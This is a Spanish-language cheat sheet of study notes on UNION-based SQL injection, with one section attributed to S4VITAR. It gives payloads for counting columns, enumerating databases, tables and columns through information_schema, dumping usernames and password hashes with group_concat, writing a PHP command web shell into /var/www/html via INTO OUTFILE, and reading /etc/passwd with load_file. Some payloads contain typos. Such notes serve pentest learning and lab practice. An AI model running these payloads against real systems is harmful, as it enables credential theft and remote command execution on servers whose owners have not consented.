1) Primero tenemos que determinar el número de columnas con la sintaxis


"order by $n;"
2) Una vez que sabemos el número de columnas. usamos union select
para combinar datos.

"union select $1,$2"

Si necesito verificar un dato en una columna en particular tenes que ir probando.


• "union select $probar,$2"

• "union select $1,$probar"

3) Vale perfecto una vez que podemos comprobar donde esta la fuga de la
injection podemos poner "database()" y me sale la base de datos
nombre.

"union select #1,#database()" --- el ouput de esto es el nombre de la


base de datos actual.

4) Si quiero saber el nombre de todas las bases de datos es:

"union select #1,#schema_name from information_schema.schemata;--


-"

S4VITAR:

Primero tenemos que determinar que existe la vulnerabilidad agregando una ' en una
entrada etc. y para comentar el resto de la query hay que comentarlo con -- -

Una vez que ganamos y sabemos que algo nos llama la atención con la injection
tenemos que saber como se llama la base de datos.

BASE DE DATOS-TABLA-COLUMNA

•/order by 100-- -/ cuando no te salga algun error tipo columna 100 desconocida etc.
tenemos que probar con union.

•/'union select 1,2,3/ en funcion del numero de columnas que no sabemos cuantas son
pero es una forma de fusear

•/' union select database()-- - / Para saber el nombre de la base de datos en uso.

•/' union select schema_name from information_schema.schemamata-- -/ para


sseleccionar el nombre de todas las db disponibles.

SI NO APARECEN TODAS Y APARECE UNA SOLA TENGO QUE AGREGAR EL


LIMIT 0,1 AL FINAL PARA IR MOVIENDOME DE UNA EN UNA.

Una vez que tenemos el nombre de la base de datos le pido la tabla.

/' union select table_name from information_schema.tables where


table_schema="registration"-- -/ Que registre el nombre de las tablas de la base de
datos llamada "registration".

/' union select column_name from information_schema.columns where


table_schema="registration" and table_name="registration"--/ esto es para saber el
nombre de la columna donde el nombre de la base de datos es R y el nombre de la
tabla es R.

AHORA PARA JUGAR CON MAS DE UN DATO PODEMOS JUGAR CON


"group_concat()"

Entonces una vez que tenemos el nombre de la base de datos, de la tabla y de la


columna podemos empezar a tirar con los nombres que me devuelva la columna.

/' union select group_concat(username,0x3a,userhash) from registration-- -/

Ahora para cargar un archivo al servidor es hacer un.

/' union select "comandos" into outfile '/var/www/html/[Link]' -- -/

ENVIAR php para ejecutar comandos <?php system($_REQUEST['cmd']); ?>

PARA CARGAR COMANDO DESDE LA BASE DE DATOS ES:

load_file(“/etc/passwd”)

También podría gustarte